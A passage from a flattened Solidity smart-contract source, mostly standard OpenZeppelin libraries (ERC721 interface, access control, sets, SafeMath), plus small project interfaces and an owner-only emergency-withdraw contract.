a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: contracts/interfaces/IMintableCollection.sol pragma solidity 0.6.12; interface IMintableCollection is IERC721 { function burn(uint256 tokenId) external; function mint(address to, uint256 tokenId) external; } // File: contracts/interfaces/IRewardable.sol pragma solidity 0.6.12; interface IRewardable { function addRewards(address rewardToken, uint256 amount) external; } // File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: contracts/abstract/EmergencyWithdrawable.sol pragma solidity 0.6.12; abstract contract EmergencyWithdrawable is OwnableUpgradeable { // for worst case scenarios or to recover funds from people sending to this contract by mistake function emergencyWithdrawETH() external payable onlyOwner { msg.sender.send(address(this).balance); } // for worst case scenarios or to recover funds from people sending to this contract by mistake function emergencyWithdrawTokens(IERC20Upgradeable token) external onlyOwner { token.transfer(msg.sender, token.balanceOf(address(this))); } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. 